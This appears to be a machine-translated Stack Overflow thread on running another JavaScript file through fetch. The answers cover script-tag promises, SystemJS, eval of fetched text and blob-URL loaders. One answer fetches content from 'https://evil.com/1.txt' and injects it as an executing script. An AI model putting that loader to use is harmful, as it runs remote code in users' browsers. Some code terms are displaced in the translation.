我可以使用“fetch”从另一个脚本运行 JS 脚本吗?

Can I run a JS script from another using `fetch`?

提问人:mike rodent 提问时间:6/28/2017 最后编辑:mike rodent 更新时间:6/9/2023 访问量:38132

问:

这里是中级 JS/JQ 人员。

我正在尝试使用 JS 来逃避回调地狱。这被称为“AJAX的替代品”,似乎非常强大。我可以看到你如何用它来获取 HTML 和 JSON 对象......但是它是否能够从您所在的脚本运行另一个 JS 脚本?也许 ES6 中还有另一个新功能要做:fetch

$.getScript( 'xxx.js' );

$.ajax({ url : 'xxx.js', dataType : "script", });

...?

后来,对约瑟夫·梦想家的回应:

试过这个:

const createdScript = $(document.createElement('script')).attr('src', 'generic.js');
fetch( createdScript )...

...它没有运行脚本“Generic.js”。你是说别的吗?

JavaScript jQuery 异步 ECMAScript-6

评论

2赞 Joseph 6/28/2017
为什么不动态创建一个并弹出该 url 呢?<script>
1赞 Jonas Wilms 6/28/2017
Callback hell escape => Promises, async/await。
0赞 evolutionxbox 6/28/2017
如果“后来”的实验是你尝试的,那么你就误解了他们的意思。
0赞 mike rodent 6/28/2017
@evolutionbox 我确实做到了......这就是为什么我说“你是说别的吗”。正如我所说,我不是JS专家。想告诉我他们的意思吗?

答:

5赞 cnexans 6/28/2017 #1

这里有几件事要提。


是的,可以执行刚刚从服务器加载的 javascript。您可以将文件作为文本和用户 eval(...) 获取,但不建议这样做,因为无法跟踪的副作用和缺乏安全性!

另一种选择是: 1. 加载 javascript 文件 2. 使用文件内容(或 url,因为浏览器缓存文件)创建一个脚本标签

这可行,但它可能无法将您从回调地狱中解放出来。


如果您想要以虚拟方式加载其他 javascript 文件,您可以使用,例如 requirejs,您可以定义模块并以虚拟方式加载它们。看一看 http://requirejs.org/


如果你真的想摆脱回调地狱,你需要做的是

  • 定义函数(你可以把它们放在同一个文件中,或者在客户端中使用 requirejs 从另一个文件加载,或者如果你在部署前可以负担得起编译,也可以使用 webpack)
  • 如果需要,请使用 promise 或流(参见 Rxjs https://github.com/Reactive-Extensions/RxJS)
  • 请记住,promise.then 返回一个 promise

    someAsyncThing()
      .then(doSomethingAndResolveAnotherAsncThing)
      .then(doSomethingAsyncAgain)
    

请记住,承诺是可以组成的

Promise.all(somePromise, anotherPromise, fetchFromServer)
  .then(doSomethingWhenAllOfThoseAreResolved)

评论

0赞 mike rodent 6/28/2017
谢谢。。。是的,我刚刚开始触及这些 Promise 内容的表面。ES7 的“await”和“async”看起来很有前途:但是当涉及到让脚本等待 getScript 回调结束时,我仍然在苦苦挣扎......实际上,我昨天瞥见了RxJS。还将看看requirejs。叹息。正如我所说,我不是 JS 专家......
2赞 joe 2/13/2020
"[...] untrackeable side effects and lack of security [...]"据我所知,和 之间的安全性没有区别?eval(await fetch(url).then(r => r.text()))<script src="${url}"></script>
64赞 Estus Flask 6/29/2017 #2

Fetch API 应该提供基于 promise 的 API 来获取远程数据。加载随机远程脚本不是 AJAX - 即使能够做到这一点。它不会由 Fetch API 处理。jQuery.ajax

脚本可以动态附加,并用 promise 包装:

const scriptPromise = new Promise((resolve, reject) => {
  const script = document.createElement('script');
  document.body.appendChild(script);
  script.onload = resolve;
  script.onerror = reject;
  script.async = true;
  script.src = 'foo.js';
});

scriptPromise.then(() => { ... });

SystemJS 应该为脚本加载提供基于 promise 的 API,也可以使用:

System.config({
  meta: {
    '*': { format: 'global' }
  }
});

System.import('foo.js').then(() => { ... });

评论

5赞 mike rodent 6/29/2017
哇。。。这太好了:你已经澄清给了我一个解决问题的答案。fetch
8赞 rapehem112 6/16/2021 #3

是的你可以

<script>
    fetch('https://evil.com/1.txt').then(function(response) { 
        if (!response.ok) { 
            return false; 
        } 
        return response.blob(); 
    }) .then(function(myBlob) { 
        var objectURL = URL.createObjectURL(myBlob); 
        var sc = document.createElement("script");
        sc.setAttribute("src", objectURL); 
        sc.setAttribute("type", "text/javascript"); 
        document.head.appendChild(sc);
    })
</script>

不要听选定的“正确”答案。

4赞 Jürgen Fink 8/13/2021 #4

遵循 Api 对我来说效果很好,正如 @cnexans 的回答(使用 和 then )所建议的那样。我注意到与添加标签的方法相比,性能有所提高fetch().text().eval()<script>

运行代码片段以查看 API 加载异步(因为它是 Promise):fetch()

// Loading moment.min.js as sample script

// only use eval() for sites you trust

fetch('https://momentjs.com/downloads/moment.min.js')
.then(response => response.text())
.then(txt => eval(txt))
.then(() => {
  document.getElementById('status').innerHTML = 'moment.min.js loaded'
  // now you can use the script
  document.getElementById('today').innerHTML = moment().format('dddd');
  document.getElementById('today').style.color = 'green';
  })
#today {
  color: orange;
 }
<div id='status'>loading 'moment.min.js' ...</div>
<br>
<div id='today'>please wait ...</div>

0赞 migli 1/30/2022 #5

Fetch API 提供了一个用于获取资源(包括跨网络)的接口。对于任何使用过 XMLHttpRequest 的人来说,它似乎都很熟悉,但新的 API 提供了更强大、更灵活的功能集。https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API

这是它应该做的,但不幸的是它没有评估脚本。

这就是为什么我在 Github 上发布了这个小小的 Fetch 数据加载器

它将获取的内容加载到目标容器中并运行其脚本(不使用 evil 函数。eval()

此处提供演示:https://www.ajax-fetch-data-loader.miglisoft.com

下面是一个示例代码:

<script>
document.addEventListener('DOMContentLoaded', function(event) {
    fetch('ajax-content.php')
    .then(function (response) {
        return response.text()
    })
    .then(function (html) {
        console.info('content has been fetched from data.html');
        loadData(html, '#ajax-target').then(function (html) {
            console.info('I\'m a callback');
        })
    }).catch((error) => {
        console.log(error);
    });
});
</script>
2赞 OXiGEN 6/9/2023 #6

要实际使用动态加载的 .js 文件中的变量,必须等待文件完成加载。以下方法将 a 包装在 a 中,以便于调用。fetchPromiseasync/await

将标记添加为 a 还可以简化 CSP 配置,而不是随机数。整个解决方案比使用 更安全。scriptblobscript-src-elem 'self' blob:;eval()

const ns = {
  //injects client js file
  require: async u => {
    await new Promise((res, rej) => {
      fetch(u)
        .then(r => r.ok ? r.blob() : rej)
        .then(b => {
          let ou = URL.createObjectURL(b),
            el = document.createElement("script");
          el.setAttribute("src", ou);
          el.setAttribute("type", "text/javascript");
          el.onload = () => res();
          document.body.appendChild(el);
        })
        .catch(e => rej);
    });
  },
}


await ns.require('/path/to/dynamically_loaded.js');
console.log(var_declared_inside_loaded_file);
<html lang="en">

<head>
  <meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests" />
  <meta http-equiv="Content-Security-Policy" content="
              default-src 'self';
              script-src-elem 'self' blob:;
              " />
</head>